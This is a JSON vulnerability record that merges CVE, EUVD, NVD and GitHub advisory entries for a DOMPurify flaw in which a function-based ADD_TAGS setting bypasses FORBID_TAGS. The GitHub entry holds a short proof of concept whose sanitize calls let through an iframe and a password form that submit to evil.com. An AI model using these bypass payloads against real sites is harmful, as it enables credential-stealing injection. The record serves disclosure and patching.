{"id":"CVE-2026-41240","revision":null,"records":[{"revision":"6aabb641875943e5887adbe394f12034","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41240","aliases":[],"title":"DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.","state":0,"publishedAt":"2026-04-23T14:54:32.426+00:00","modifiedAt":"2026-04-23T17:21:30.547+00:00","affected":[{"ecosystem":"Vendor product","name":"DOMPurify","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cure53\",\n                    \"product\": \"DOMPurify\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.4.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":6,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/cure53/DOMPurify/releases/tag/3.4.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41240","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41240","identifiers":["CVE-2026-41240"]},"retained":false,"historicalAffected":[]},{"revision":"0bd5179e10e84ec1a19dca35c78d97b7","observedAt":"2026-10-28T05:07:19.011+00:00","statement":{"source":"euvd","id":"EUVD-2026-25238","aliases":["CVE-2026-41240","GHSA-h7mw-gpvr-xq4m"],"title":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early…","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":6,"severity":null}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/cure53/DOMPurify/releases/tag/3.4.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-25238","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 23, 2026, 2:54:32 PM","dateUpdated":"Apr 23, 2026, 5:21:30 PM"},"relatedAdvisories":[{"id":"RHSA-2026:27879","title":"Red Hat Security Advisory: OpenShift Virtualization v4.21 Images","vulnerabilityIds":["CVE-2026-41240"]},{"id":"RHSA-2026:27967","title":"Red Hat Security Advisory: OpenShift Virtualization v4.20 Images","vulnerabilityIds":["CVE-2026-41240"]},{"id":"RHSA-2026:34608","title":"Red Hat Security Advisory: Streams for Apache Kafka 2.9.4 release and security update","vulnerabilityIds":["CVE-2024-29371","CVE-2025-13465","CVE-2025-58056","CVE-2026-1002","CVE-2026-4800","CVE-2026-6860","CVE-2026-23864","CVE-2026-24281","CVE-2026-24308","CVE-2026-27980","CVE-2026-33870","CVE-2026-33871","CVE-2026-34480","CVE-2026-39852","CVE-2026-41240","CVE-2026-42044","CVE-2026-42583","CVE-2026-42587","CVE-2026-44249","CVE-2026-44573","CVE-2026-44574","CVE-2026-44575","CVE-2026-44577","CVE-2026-44578","CVE-2026-44579","CVE-2026-44893","CVE-2026-45109","CVE-2026-45416","CVE-2026-45674","CVE-2026-47691","CVE-2026-48043","CVE-2026-48059","CVE-2026-50010","CVE-2026-50559"]},{"id":"WID-SEC-W-2026-2892","title":"Oracle Construction and Engineering: Schwachstelle gefährdet Vertraulichkeit und Integrität","vulnerabilityIds":["CVE-2026-41240"]},{"id":"WID-SEC-W-2026-3046","title":"IBM Concert: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-19921","CVE-2021-23337","CVE-2024-3651","CVE-2024-39338","CVE-2024-45590","CVE-2025-13465","CVE-2025-15284","CVE-2025-15599","CVE-2025-22874","CVE-2025-47273","CVE-2025-47907","CVE-2025-52881","CVE-2025-53643","CVE-2025-55184","CVE-2025-58056","CVE-2025-58188","CVE-2025-58189","CVE-2025-61723","CVE-2025-61730","CVE-2025-64649","CVE-2025-64756","CVE-2025-67221","CVE-2025-68121","CVE-2025-68146","CVE-2026-0540","CVE-2026-2327","CVE-2026-23490","CVE-2026-23897","CVE-2026-2391","CVE-2026-23949","CVE-2026-24486","CVE-2026-25528","CVE-2026-25547","CVE-2026-25639","CVE-2026-25990","CVE-2026-26007","CVE-2026-26019","CVE-2026-26996","CVE-2026-27142","CVE-2026-27212","CVE-2026-27699","CVE-2026-27903","CVE-2026-27904","CVE-2026-28684","CVE-2026-29063","CVE-2026-29181","CVE-2026-2950","CVE-2026-31808","CVE-2026-31900","CVE-2026-32274","CVE-2026-32288","CVE-2026-32597","CVE-2026-32630","CVE-2026-32887","CVE-2026-32952","CVE-2026-33186","CVE-2026-33532","CVE-2026-33750","CVE-2026-33814","CVE-2026-33816","CVE-2026-33916","CVE-2026-34043","CVE-2026-34073","CVE-2026-34077","CVE-2026-3520","CVE-2026-35469","CVE-2026-35515","CVE-2026-3627","CVE-2026-39823","CVE-2026-39825","CVE-2026-39826","CVE-2026-39892","CVE-2026-39984","CVE-2026-40175","CVE-2026-40179","CVE-2026-40181","CVE-2026-40190","CVE-2026-40347","CVE-2026-41066","CVE-2026-41182","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-41324","CVE-2026-41425","CVE-2026-41481","CVE-2026-41488","CVE-2026-41602","CVE-2026-41636","CVE-2026-42151","CVE-2026-42154","CVE-2026-42198","CVE-2026-42211","CVE-2026-42338","CVE-2026-42342","CVE-2026-42561","CVE-2026-42577","CVE-2026-43870","CVE-2026-44405","CVE-2026-44431","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44728","CVE-2026-4539","CVE-2026-45409","CVE-2026-45736","CVE-2026-46625","CVE-2026-4800","CVE-2026-4923","CVE-2026-4926","CVE-2026-7246","CVE-2026-8723"]},{"id":"RHSA-2026:27875","title":"Red Hat Security Advisory: OpenShift Virtualization v4.18 Images","vulnerabilityIds":["CVE-2026-41240"]},{"id":"RHSA-2026:36107","title":"Red Hat Security Advisory: OpenShift Virtualization v4.15 Images","vulnerabilityIds":["CVE-2026-41240","CVE-2026-42044"]},{"id":"RHSA-2026:27872","title":"Red Hat Security Advisory: OpenShift Virtualization v4.19 Images","vulnerabilityIds":["CVE-2026-41240"]},{"id":"RHSA-2026:22619","title":"Red Hat Security Advisory: Red Hat Data Grid 8.6.1 security update","vulnerabilityIds":["CVE-2026-4800","CVE-2026-33870","CVE-2026-33871","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40975","CVE-2026-41240","CVE-2026-42033","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043"]},{"id":"openSUSE-SU-2026:10888-1","title":"argocd-cli-3.4.3-1.1 on GA media","vulnerabilityIds":["CVE-2026-41240"]},{"id":"RHSA-2026:24977","title":"Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-14813","CVE-2025-48956","CVE-2025-61726","CVE-2025-62718","CVE-2025-69227","CVE-2025-69228","CVE-2026-1462","CVE-2026-4800","CVE-2026-6321","CVE-2026-23490","CVE-2026-24747","CVE-2026-25048","CVE-2026-25960","CVE-2026-27489","CVE-2026-27893","CVE-2026-28500","CVE-2026-28684","CVE-2026-29063","CVE-2026-29074","CVE-2026-31958","CVE-2026-32280","CVE-2026-32597","CVE-2026-32981","CVE-2026-33186","CVE-2026-33231","CVE-2026-34986","CVE-2026-34993","CVE-2026-39892","CVE-2026-40192","CVE-2026-40895","CVE-2026-41240","CVE-2026-41242","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043"]},{"id":"RHSA-2026:86618","title":"Red Hat Security Advisory: New container image: rhceph-9.2","vulnerabilityIds":["CVE-2023-46159","CVE-2024-47866","CVE-2024-48916","CVE-2024-55565","CVE-2025-12816","CVE-2025-15599","CVE-2025-26791","CVE-2025-30156","CVE-2025-50181","CVE-2025-50182","CVE-2025-58754","CVE-2025-59343","CVE-2025-62718","CVE-2025-66030","CVE-2025-66035","CVE-2025-66412","CVE-2025-69873","CVE-2026-0540","CVE-2026-21441","CVE-2026-22610","CVE-2026-25639","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-27970","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33672","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39865","CVE-2026-40175","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-50152","CVE-2026-58224"]},{"id":"RHSA-2026:34160","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-33154","CVE-2026-41240","CVE-2026-42035","CVE-2026-42784","CVE-2026-44293","CVE-2026-44431","CVE-2026-44432","CVE-2026-44488","CVE-2026-44495","CVE-2026-48526"]},{"id":"WID-SEC-W-2026-1407","title":"IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-26013","CVE-2026-27142","CVE-2026-28277","CVE-2026-28684","CVE-2026-32288","CVE-2026-33151","CVE-2026-33349","CVE-2026-33532","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33916","CVE-2026-34601","CVE-2026-35469","CVE-2026-39406","CVE-2026-39407","CVE-2026-39408","CVE-2026-39409","CVE-2026-39410","CVE-2026-39983","CVE-2026-40175","CVE-2026-40347","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-4923","CVE-2026-4926"]},{"id":"RHSA-2026:36108","title":"Red Hat Security Advisory: OpenShift Virtualization v4.13 Images","vulnerabilityIds":["CVE-2026-41240","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495"]},{"id":"RHSA-2026:59360","title":"Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 3.3.1 GA ]","vulnerabilityIds":["CVE-2026-12975","CVE-2026-12992","CVE-2026-12993","CVE-2026-41240","CVE-2026-44496","CVE-2026-49978"]},{"id":"RHSA-2026:28010","title":"Red Hat Security Advisory: Red Hat build of Cryostat security update","vulnerabilityIds":["CVE-2025-48431","CVE-2026-9277","CVE-2026-32281","CVE-2026-41240","CVE-2026-42578","CVE-2026-42579","CVE-2026-42581","CVE-2026-42584","CVE-2026-42587","CVE-2026-43869"]},{"id":"RHSA-2026:21338","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.8.7 release.","vulnerabilityIds":["CVE-2026-6321","CVE-2026-32280","CVE-2026-32281","CVE-2026-32282","CVE-2026-40895","CVE-2026-41240","CVE-2026-41242","CVE-2026-41674","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044"]},{"id":"RHSA-2026:16476","title":"Red Hat Security Advisory: Kiali 1.73.30 for Red Hat OpenShift Service Mesh 2.6","vulnerabilityIds":["CVE-2026-32280","CVE-2026-40895","CVE-2026-41240","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043"]},{"id":"RHSA-2026:27944","title":"Red Hat Security Advisory: OpenShift Virtualization v4.14 Images","vulnerabilityIds":["CVE-2026-41240","CVE-2026-44495"]},{"id":"RHSA-2026:21772","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.","vulnerabilityIds":["CVE-2025-14813","CVE-2025-68121","CVE-2026-0636","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-1605","CVE-2026-2229","CVE-2026-2327","CVE-2026-5588","CVE-2026-26996","CVE-2026-27904","CVE-2026-29074","CVE-2026-30827","CVE-2026-31802","CVE-2026-32141","CVE-2026-32280","CVE-2026-32282","CVE-2026-32305","CVE-2026-33252","CVE-2026-33810","CVE-2026-34742","CVE-2026-35051","CVE-2026-39858","CVE-2026-40477","CVE-2026-40478","CVE-2026-40611","CVE-2026-40895","CVE-2026-40912","CVE-2026-40972","CVE-2026-40973","CVE-2026-40975","CVE-2026-41240","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044"]},{"id":"RHSA-2026:28001","title":"Red Hat Security Advisory: OpenShift Virtualization v4.17 Images","vulnerabilityIds":["CVE-2026-41240"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-25238","identifiers":["EUVD-2026-25238","CVE-2026-41240","GHSA-h7mw-gpvr-xq4m"]},"retained":false,"historicalAffected":[]},{"revision":"09fcb0a215624839bfe13c4766a6ced6","observedAt":"2026-10-27T10:10:07.342+00:00","statement":{"source":"nvd","id":"CVE-2026-41240","aliases":[],"title":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early…","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.","state":0,"publishedAt":"2026-04-23T16:16:26.71+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41240","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-79","CWE-183"],"productCriteria":["cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-23T16:16:26.710","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41240","identifiers":["CVE-2026-41240"]},"retained":false,"historicalAffected":[]},{"revision":"8310073a24aa44afa1b9219639efca78","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-h7mw-gpvr-xq4m","aliases":["CVE-2026-41240"],"title":"DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)","description":"There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits\n      ) &&\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      '<iframe src=\"https://evil.com\"></iframe>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['iframe']\n      }\n    );\n    // Returns: '<iframe src=\"https://evil.com\"></iframe>'\n    // Expected: '' (iframe forbidden)\n\n    DOMPurify.sanitize(\n      '<form action=\"https://evil.com/steal\"><input name=password></form>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['form']\n      }\n    );\n    // Returns: '<form action=\"https://evil.com/steal\"><input name=\"password\"></form>'\n    // Expected: '<input name=\"password\">' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      '<p onclick=\"alert(1)\">hello</p>',\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: ['onclick']\n      }\n    );\n    // Returns: '<p>hello</p>' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef","state":0,"publishedAt":"2026-04-22T17:34:17+00:00","modifiedAt":"2026-09-10T03:50:44.4615749+00:00","affected":[{"ecosystem":"npm","name":"dompurify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.4.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","https://nvd.nist.gov/vuln/detail/CVE-2026-41240","https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/cure53/DOMPurify","https://github.com/cure53/DOMPurify/releases/tag/3.4.0"],"sourceUrl":"https://github.com/advisories/GHSA-h7mw-gpvr-xq4m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h7mw-gpvr-xq4m","identifiers":["GHSA-h7mw-gpvr-xq4m","CVE-2026-41240"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T00:54:54.8582963+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T00:54:54.8582963+00:00","lastSuccessAt":"2026-10-30T00:54:55.0088391+00:00","error":null,"lastVerifiedAt":"2026-10-30T00:54:55.0088398+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":416807,"lastAttemptAt":"2026-10-30T00:54:38.6898381+00:00","lastSuccessAt":"2026-10-30T00:54:38.6858592+00:00","error":null,"lastVerifiedAt":"2026-10-30T00:54:38.6898381+00:00","snapshotPublishedAt":"2026-10-30T00:40:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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Not a global EPSS backfill.","generation":"2026-10-30T00:54:54.8582963+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T00:54:54.8582963+00:00","lastSuccessAt":"2026-10-30T00:54:55.0097322+00:00","error":null,"lastVerifiedAt":"2026-10-30T00:54:55.0097324+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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